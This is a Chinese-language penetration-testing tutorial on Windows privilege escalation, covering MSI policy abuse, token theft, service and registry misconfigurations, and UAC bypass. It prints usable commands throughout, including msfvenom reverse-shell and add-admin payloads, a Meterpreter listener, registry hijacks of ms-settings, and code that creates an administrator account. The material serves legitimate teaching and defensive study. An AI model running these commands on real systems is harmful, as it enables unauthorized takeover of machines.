Windows权限提升
内核提权
在进行提权工作时,确定操作系统的内核版本
以及补丁编号
是首要目标。
在目标主机上执行以下命令,可查看已安装的系统补丁:
systeminfo
根据所列出的补丁号以及系统版本等信息,可借助相关提权辅助网站进行查询以找出相对应的漏洞。
使用WES-NG提权
WES-NG全称:Windows Exploit Suggester - Next Generation
是由Arris Huijgen基于WES创建的新一代Windows系统辅助提权工具。
使用方法:
-
在本地主机执行以下命令,以此来更新数据库
python3 wes.py --update
-
在目标主机上执行systeminfo命令,并将结果保存在sysinfo.txt文件中。然后在主机上执行以下命令:
python3 wes.py sysinfo.txt --impact "Elevation of Privilege" # --impact指定漏洞类型为提权漏洞
MSI安装策略提权
MSI
(microsoft installer)是Windows Installer的安装包,它实际上是一个数据库,包含安装一种产品所需要的信息和在很多安装情形下安装(和卸载)程序所需的指令和数据。MSI文件将程序的组成文件与功能关联起来。
MSI文件提权,即任意用户以SYSTEM权限安装MSI文件造成提权。AlwaysInstallElevated是注册表的一个键值,当其值为1时候,在系统中使用Windows Installer安装任何程序,允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。
MSF集成了漏洞利用模块:exploit/windows/local/always_install_elevated 。详细利用步骤如下:
- 激活AlwaysInstallElevated
方法一:在“运行”中输入gpedit.msc,从而打开本地组策略编辑器
,本地组策略(gpedit.msc):计算机配置–管理模板–Windows组件–Windows Installer,点击启用“始终以提升的权限进行安装”;用户配置–管理模板–Windows组件–Windows Installer,点击启用“始终以提升的权限进行安装”。
方法二:cmd修改注册表(rgedit)
查询
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
修改
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
使用msfvenom生成恶意程序上传
增加管理员 msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o exp.msi
获得system会话 msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f msi -o exp.msi
msiexec运行MSI文件
msiexec /quiet /qn /i exp.msi
访问令牌操纵
Windows的访问控制模型由AT与SD组成。我们这里主要讲述如何运用
AT
在Windows下提权
在Windows当中令牌通常可以分为主令牌
(Primary Token)和模拟令牌
(Impersonation Token)两种。
- 主令牌与进程相关,是由Windows内核所创建并分配给进程的默认访问令牌,每一个进程都有一个主令牌。而在进程与
安全对象
交互的过程中,系统会使用主令牌,主令牌用来描述服务器的安全上下文。 - 模拟令牌,描述正在模拟的客户端的
安全上下文
。
安全上下文
:指的是⼀类定义==某个进程允许做什么的许可和权限的集合==。Windows中的安全上下⽂是通过登录会话(Logon Session)定义的,并通过访问令牌维护。顾名思义,登录会话表⽰某个⽤户在某台计算机上的某次会话过程。开发者可以通过访问令牌与登录会话进⾏交互。访问令牌所有⽤的许可和权限可以与登录会话的不同,但始终是它的⼀个⼦集。
安全上下⽂
的概念范围是很⼴的,权限、特权、访问令牌、完整性等级等等都包含在其中。 这就是软件限制策略和UAC⼯作原理中的最核⼼部分。 所以在这⾥讨论的内容,都是属于安全上下⽂的范畴。
==通常情况下,测试人员通过操纵访问令牌,可以使正在运行的进程看起来是其他进程的子进程或属于其他用户所启动的进程,例如system用户。这个过程就被称之为令牌窃取。==
==令牌窃取只能在特权用户上下文中才能完成。这里的特权用户通常为系统管理员账户、网络服务账户和系统服务账户(例如:IIS、MYSQL)。==
令牌窃取往往用来将管理员权限提升到system权限或者是TrustedInstaller权限。
incognito
1.incognito
程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
AccessToken的列举(需要 administrator 权限)
incognito.exe list_tokens -u
要使用 AccessToken 模拟其他用户,可以使用命令
incognito.exe execute -c "完整的 Token 名" cmd.exe
例如:模拟 system 权限用户(提权至 system):
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权至当前用户:
incognito.exe execute -c "当前用户 token" cmd.exe
获取域普通用户
incognito.exe execute -c "icsec\test" cmd.exe
2.MSF 下的 incognito 模块
# 加载incognito模块
load incognito
#列出目标主机的所有访问令牌
list_tokens -u
# 窃取NT AUTHORITY\SYSTEM账户的令牌
impresonate_token "NT AUTHORITY\SYSTEM"
use incognito #加载 incognito
list_tokens -u #列出 AccessToken
getuid #查看当前 token
impersonate_token "NT AUTHORITY\SYSTEM" #模拟 system 用户,getsystem 命令
即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即可
steal_token 1252 #从进程窃取 token
getsystem #提升至 system 权限
rev2self #返回到之前的 AccessToken 权限
3.msf 令牌实战
msf 生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=6666 LHOST=192.168.1.10 -f exe -o msf.exe
监听端口
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.10
set lport 6666
exploit
使用incognito
use incognito #进入 incognito 模块
list_tokens -u #列出令牌
伪造令牌
impersonate_token 12SERVER-01\Administrator #假冒 12server-01\adminstrator 的令牌
impersonate_token moonsec\\test #假冒 icsec\test的令牌
impersonate_token "NT AUTHORITY\SYSTEM" #假冒 System 的令牌
除了可以伪造令牌 也可以从进程里窃取令牌 首先使用 ps 命令列出进程 查看进程用户使用 steal_token pid 窃取令牌就有对应的权限。
从进程窃取令牌
steal_token PID
通过令牌窃取到TrustedInstaller权限
通常情况下我们认为在Linux系统中root权限是Linux中最高的权限,Windows当中system权限是最高权限。这句话前半部分是对的,但后半部分,在Windows中system权限并不是最高权限。在Windows系统下,即使拥有了system权限,也无法在Windows的系统文件中的某些文件中拥有写入权限。
使用icacls命令可查看某个文件夹对于某些用户来说具有何种权限,发现在C:/windows/servicing文件夹下,TrustedInstaller拥有完全控制权限。
TrustedInstaller是从Windows Vista开始所内置的一个安全主体,在Windows中拥有修改系统文件的权限,本身是一个服务,但是以一个账户组的形式出现,全称是:NT SERVICE\TrustedInstaller。
因为TrustedIstaller是以windows的一个服务形式存在的,所以可以通过窃取令牌的形式,来使普通用户提升到TrustedInstaller权限。
-
首先通过sc start TrustedInstall命令开启TrustedInstaller服务
-
并记录PID值
-
后使用以下命令,成功获取TrustedInstaller令牌。
steal_token<PID>
土豆
使用Potato提权都需要下列两个特权中的一个。
-
SeImpersonatePrivilege(替换进程级令牌)
-
SeAssignPrimaryTokenPrivilege (身份验证后模拟客户端)
在实际渗透过程中,拿到webshell下,用户权限是IIS或者apache,或通过SQLi执行xp_cmdshell,此时手里的服务账户在进行操作时是低权限账户,而使用该提权手法可以直接获取SYSTEM权限
显示当前用户权限:
whoami /priv
系统服务提权
开始具体介绍系统服务权限之前,有必要介绍一下windows当中的访问控制模型。
Windows访问控制模型(Access Control Model,ACM)是Windows系统安全性的基础构件。而ACM中通常由访问令牌(Access Token,AT)和安全描述符(Security Descriptor,SD)两部分组成。
-
访问令牌,AT:当用户登录时,Windows自身会对用户进行验证,==当验证通过后,系统自身会为用户创建一个访问令牌。在此之后,用户所执行的每一个进程都会拥有此访问令牌的副本==,系统也是通过每个访问令牌来区分并确定每个用户。
-
安全描述符,SD:安全描述符是一种与每个安全对象相关联的数据结构,在安全对象创建之初,与各安全对象相对应的安全描述符也被建立。安全描述符主要由==安全标识符(Security Identifiers,SID)==和==访问控制列表(Access Control List,ACL)==两部分组成。
-
SID是用来标识用户、组、计算机账户的唯一标识。在第一次创建用户时,系统就会为此用户分发一个SID,以此来标识用户。
-
ACL是访问控制项(Access Control Entry,ACE)的列表。每一个ACE中都指定了一系列的访问权限,定义了哪些用户或组对一个安全对象拥有什么样的权限,可以做哪些事情。而ACL则可以理解成是各种ACE的一个集合。
而ACL又具体分为DACL和SACL两种
- DACL(自主访问控制列表)是安全对象的访问控制策略,简单来说就是规定了一个
安全主体
对该安全对象
拥有什么样的访问权限。 - SACL(系统访问控制列表)是安全主体对安全对象的放文行为的审计策略。而SACL中的ACE会对
安全主体
的一些访问进行日志记录,当安全主体的访问满足ACE时就会被记录在日志文件中。
- DACL(自主访问控制列表)是安全对象的访问控制策略,简单来说就是规定了一个
-
不安全的服务权限
在上文中我们介绍了ACL,而ACL中的各种ACE定义了安全对象
的访问控制策略。而Windows也正是通过ACL来确定用户对其拥有什么样的权限,具体权限如下表:
权限 | 说明 |
---|---|
SERVICE_START | 启动服务的权限 |
SERVICE_STOP | 停止服务的权限 |
SERVICE_PAUSE_CONTINUE | 暂停或继续运行的权限 |
SERVICE_QUERY_STATUS | 查询服务状态的权限 |
SERVICE_QUERY_CONFIG | 查询服务配置的权限 |
SERVICE_CHANGE_CONFIG | 更改服务配置的权限 |
SERVICE_ALL_ACCESS | 完全控制权限 |
如果目标主机的服务配置存在问题,那么==低权限用户就可以修改以高权限运行的系统服务的配置文件==,那么就可以修改这个系统服务启动时的二进制文件,将其替换成测试人员的木马就可以进行提权。例如:SERVICE_QUERY_CONFIG和SERVICE_ALL_ACCESS。
那我们怎么才能知道哪些服务存在这样的缺陷呢?我们可以利用一款工具——AccessChk。
AccessChk是微软官方提供的一个管理工具,常用来查看系统中指定用户、组或者一些特定资源的访问权限。
在测试时可以检查“Authenticated Users(经过身份验证的用户)”组和“INTERACTIVE(交互式用户)”组对系统服务的权限。
-
执行以下命令 来枚举目标主机中“Authenticated Users”组是否具有更改服务配置的权限。
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
-
在找到缺陷后,执行以下命令上传payload。当服务重启时,payload会以高权限启动。
sc config 服务名称 binpath= "cmd.exe" # binpath,指定服务的二进制文件路径,在“=”之后必须跟一个空格
-
完成以上的步骤就对服务的二进制文件进行了替换,接下来的工作就是需要将服务重启。
这里有两个思路,如果当前用户对服务拥有
SERVICE_STOP
和SERVICE_STOP
权限,可以通过以下命令重启服务sc stop 服务名称 sc start 服务名称
如果没有以上两个权限,可以直接将目标主机重启来模拟服务重启的过程。
服务注册表权限可控
Windows中的注册表记录了每个系统服务的一些具体条目,而注册表也会有一些
ACL
对其防护,以此来确定用户对注册表是否有其该拥有的访问权限。但如果注册表的ACL配置出错,那么就可以使一个低权限用户,对注册表拥有写入权限,从而进行修改ImagePath二进制文件路径,以此来达到提权的目的。
-
执行以下命令可以查看在Windows中“Authenticated Users”用户组对于哪些系统服务拥有写入权限
accesschk.exe /accepteula -uvwqk "Authenticated Users" HKLM\SYSTEM\CurrentControlSet\Services
-
如果存在的话,可以将payload的路径上传至该服务的ImagePath键值
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\服务名称 /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe"
未引用的服务路径
未引用的服务路径(Unquoted Service Path)漏洞也被称为
可信任的服务路径
(Trusted Service Path),它利用了Windows的文件解析路径的特性。当文件路径中含有空格时就会触发该漏洞。
简单来说,在Windows当中如果引用的完整路径中含有空格但是没有有效的引号所将其引起来的话,那么对于该路径中的每一个空格,Windows都会按照从左至右的顺序依次
寻找并执行
与空格前名字相匹配的程序。
我们来简单的举个例子:路径:C:\Program Files\Sublime Text 3\Sublime Text.exe,系统会依次执行下述程序:
- C:\Program.exe
- C:\Program Files\Sublime.exe
- C:\Program Files\Sublime Text 3\Sublime.exe
- C:\Program Files\Sublime Text 3\Sublime Text.exe
我们可以将payload上传至上述路径中,在系统依次调用时会执行我们所上传的payload,从而达到提权的目的。当然此方法的执行前提是,用户对以上可能存在路径拥有写入权限。
BypassUAC
用户账户控制
UAC是微软公司在Windows Vista及更高版本的操作系统中所采用的一种控制机制,可以阻止自动安装未经授权的应用并防止意外更改系统设置。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序损坏系统效果。
使用UAC
可以使==应用程序和任务总是在非管理员账户的安全上下文中运行==,但管理员专门给系统授予管理员级别的访问权限时除外。UAC
会阻止未经授权应用程序的自动安装,防止无意中对系统设置进行更改。
UAC
限制所有用户包括非RID500的管理员用户(只有Administrator用户的RID为500)使用标准用户登录到他们的计算机,并在标准用户的安全性上下文中访问资源和运行应用。
当非RID500
的管理员用户登录后,系统会为其创建两个单独的访问令牌——标准用户访问令牌和管理员访问令牌。标准用户访问令牌与管理员访问令牌相比只是移除了SID以及Windows管理特权,标准用户访问令牌只是用来启动一些不需要用到管理员权限所启动的程序,只有当需要用管理员权限启动一些更高级的服务时,才会用到管理员访问令牌来进行启动。
在渗透测试中,测试人员可以通过绕过UAC
机制,==使得非RID500的用户不通过批准可以直接使用管理员访问令牌,从而就可以获取管理员的管理权限==。
这只是一种绕过机制,并不是真正的提权!!
UAC白名单
微软在用户UAC
中为一些系统程序设置了白名单机制,所有白名单中的程序在需要管理员权限运行时,都不会再询问,而是以静默的方式自动提升到管理员权限运行。依照这一机制,我们可以对白名单内的程序采用dll注入、dll劫持或者注册表劫持,来绕过UAC。
注意
依照上文我们所说的方法,那么我们所要做的第一步就是要找到哪些程序位于UAC白名单之中。
可以通过微软的官方工具Sigcheck和Strings,来进行查找。
位于UAC白名单中的程序有一个特点,就是Manifest
数据中的autoElevate
属性的值为True。
- Signcheck可以检测程序是否具有autoElevate属性。
以下图为例,位于**C:/windows/system32/**的computerdefaults.exe
是一个白名单程序,我们可以使用命令:
sigcheck.exe /accepteula -m 路径
- Strings可以找出所有具有autoElevare属性的程序
使用命令:strings.exe /accepteula -s C:\windows\system32\*.exe | findstr /i "autoElevate"
在找到具有autoElevare属性的程序后,我们可以通过一些别的手段来达到绕过UAC的目的。
Tip
在这里我们以上文提到的ComputerDefaults.exe为例,来为各位简单介绍一下。
-
我们首先到C:\Windows\System32下找到ComputerDefaults.exe这个程序,
-
双击运行,
-
会发现直接打开了设置中的“默认应用”界面,而并没有触发UAC保护机制。
-
然后我们使用进程监视器ProcessMoniotr,来对ComputerDefaults.exe进程的所有操作行为进行监控。可以发现,ComputerDefaults.exe会先查询注册表
HKCU\Software\Classes\ms-settings\shell\open\command
中的数据,发现该路径不存在后,继续查询注册表HKCR\ms-settings\Shell\Open\Command\DelegateExecute
中的数据并读取。一般以"
shell\open\command
“命名的注册表中存储的一般都是可执行文件的路径,程序会读取其中的键值来获取相应可执行文件的路径,并进一步运行该键值所指明的可执行文件。但是由于ComputerDefaults.exe属于UAC白名单程序,所以在运行ComputerDefautls.exe时会默认已管理员权限运行,而其所调用的注册表中的可执行文件也会已管理员权限运行。 -
执行以下命令
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "C:\Windows\System32\add_user.exe" /f reg add "HKCU\Software\Classes\ms-setting\shell\open\command" /v DelegateExecute /t REG_SZ /d "C:/Windows\System32\add_user.exe" /f
解释一下👆两条命令的意思:在注册表
HKCU\Software\Classes\ms-settings\shell\open\command
(如果没有就创建)中将要执行的payload分别写入“默认值”和“DelegateExecute值”,(*在上面的命令中写入的路径为:C:\Windows\System32\add_user.exe*)。以下为cmd.cpp的源代码,意在创建一个账户名为hack,密码为hack的账户,并将其添加至Administrators组中。
#include<iostream> #include<windows.h> #include<cstdio> using namespace std; int main() { system("net user hack hack /add"); system("net localgroup administrators hack /add"); return 0; }
下图以标准用户权限执行,因为标准用户对该注册表拥有修改键值权限。
然后再次执行ComputerDefautls.exe之后,我们所创建的恶意程序也会已管理员权限执行。按照我们上文所放置的恶意程序,在执行之后,会新增一个具有管理员权限名为hack的用户。
-
如果在注册表键值处修改成C:/Windows\System32\cmd.exe
,那么再重新启动ComputerDefaults.exe时会重新打开一个拥有管理权权限的cmd。
DLL劫持
在Windows中我们使用的最多的一种文件,是以.exe为后缀的可执行文件,但大多数情况下,很多应用程序并不是一个完整的可执行文件,而是被分割成一些相对独立的动态链接库(
Dynamic Link Library,DLL
)文件,而dll文件中通常会包括一些程序运行所需要使用的代码和数据。当我们所使用的应用程序启动时,程序运行所需的dll文件就会被加载到程序进程的内存空间中。而测试人员可以通过一些手段,在某些应用程序启动时加载恶意的dll文件。以上这整个行为就被称为:DLL劫持
当应用程序需要加载dll文件时,如果没有指定给出相应的dll文件的绝对位置,那么程序将会以一种特定的方式顺序依次在指定路径下搜索等待加载的dll文件。在开启安全DLL搜索模式(SafeDllSearchMode,windowsXP SP2后默认开启)
,将按照以下方式搜索:
程序安装目录➡️系统目录(C:\windows\system32)➡️16位系统目录(C:\windows\system)➡️Windows目录(C:\Windows)➡️当前工作目录➡️PATH环境变量中列出的各个目录
如果我们将恶意的dll文件名替换成合法的dll文件名,并将其放在之前合法的dll文件处,在应用程序重新加载dll文件时,就会触发我们放置好的恶意dll文件,放置恶意dll文件的前提是对上述目录有写入权限,并且恶意dll文件与原始合法dll文件具有相同的导出表函数。这就是dll预加载劫持情景。
模拟可信任目录
我们在上文中提到UAC白名单程序是一种可以不显示询问弹窗,就可以自动提升权限的应用程序,白名单程序有一个共同的特性就是Mainfest中autoElevate属性值为True。
当启动的程序需要使用管理员权限时,系统会先读取可执行文件的Mainfest信息,获取其autoElevate属性值是否为True,如果是True,则会认为这是一个可自动提升权限的可执行文件。同时,系统也会检查可执行文件的签名,因此无法通过伪造Mainfest信息来伪造UAC白名单程序。除此之外,系统还会检查该可执行文件是否位于系统可信任目录中,比如C:\windows\system32
目录中。当这三个条件全都吻合后,才会自动将可执行文件以高权限执行。
在系统检查可信任目录时,相关的系统函数会自动去掉可执行文件路径中的空格。
举例:如果一个可执行文件位于C:\Windows \system32
目录中(在Windows后有一空格),系统会在检查是否好时可信任目录时去掉空格,就会将路径变为C:\Windows\system32
(在Windows后没有空格了),这样就绕过了可信任目录的检查。
基于这个原理,测试人员可以依照所知的可信任目录,来模拟创建一个假的可信任目录(在某些地方以空格填充),将一个白名单程序复制到我们所创建的模拟可信任目录中,配合DLL劫持等技术,即可绕过UAC。